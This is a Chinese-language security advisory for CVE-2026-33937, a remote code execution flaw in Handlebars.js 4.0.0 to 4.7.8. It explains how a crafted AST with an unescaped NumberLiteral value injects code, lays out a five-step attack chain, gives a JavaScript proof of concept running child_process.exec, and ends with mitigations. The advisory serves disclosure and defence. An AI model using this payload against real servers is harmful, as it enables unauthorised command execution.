IPBUF安全漏洞报告
English
CVE-2026-33937 CVSS 9.8 严重

CVE-2026-33937 Handlebars远程代码执行漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33937
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Handlebars.js

相关标签

RCEHandlebars代码注入AST注入CVE-2026-33937

漏洞概述

Handlebars.js 在 4.0.0 到 4.7.8 版本中存在严重漏洞。由于 `Handlebars.compile()` 函数在处理预解析的 AST 对象时,未对 `NumberLiteral` 节点的 `value` 字段进行适当的净化和引号包裹,攻击者可通过构造特制的 AST 对象注入任意 JavaScript 代码。这可能导致服务器端远程代码执行,且无需用户交互。CVSS 评分 9.8,建议立即升级。

技术细节

该漏洞源于 Handlebars 编译器处理 AST(抽象语法树)时的逻辑缺陷。`Handlebars.compile()` 函数不仅接受字符串模板,还接受预解析的 AST 对象。在生成 JavaScript 代码时,编译器直接将 `NumberLiteral` 类型节点的 `value` 值拼接到输出中,未进行任何转义或引号处理。攻击者若能控制传入 `compile()` 的参数,可构造一个包含恶意代码的 AST 对象(例如将 `value` 设置为 `1;require('child_process').exec('whoami');//`)。当编译后的模板函数被调用时,嵌入的恶意代码将在服务器上下文中执行,从而实现完全的系统控制。

攻击链分析

STEP 1
侦察
识别使用 Handlebars.js 4.0.0 至 4.7.8 版本且接受对象输入传递给 compile() 函数的 Web 应用。
STEP 2
构造载荷
创建一个包含 NumberLiteral 节点的恶意 AST 对象,并将 value 字段设置为恶意 JavaScript 代码(如执行系统命令)。
STEP 3
传递载荷
将构造好的恶意 AST 对象作为参数发送给目标应用的 Handlebars.compile() 函数。
STEP 4
代码注入
Handlebars 编译器处理 AST 时,直接将 NumberLiteral 的 value 拼接到生成的 JavaScript 函数体中。
STEP 5
执行命令
应用调用编译生成的模板函数,导致服务器端执行恶意代码,达成远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const Handlebars = require("handlebars"); // Construct a malicious AST object exploiting NumberLiteral const payload = "1;require('child_process').exec('calc.exe');//"; const maliciousAST = { type: "Program", body: [ { type: "ExpressionStatement", expression: { type: "NumberLiteral", value: payload, // Injected payload without quotes original: payload } } ] }; try { // Pass the object directly to compile() (Vulnerable behavior) const compiledTemplate = Handlebars.compile(maliciousAST); // Execute the function to trigger RCE compiledTemplate(); console.log("Exploit executed successfully."); } catch (e) { console.error(e); }

影响范围

Handlebars.js 4.0.0
Handlebars.js 4.7.8

防御指南

临时缓解措施
在调用 `Handlebars.compile()` 之前,实施严格的类型检查,确保输入只能是字符串,拒绝对象或反序列化的 JSON。如果不需要在运行时动态编译模板,请切换到 Handlebars 的仅运行时构建版本,彻底移除编译器接口,从而阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表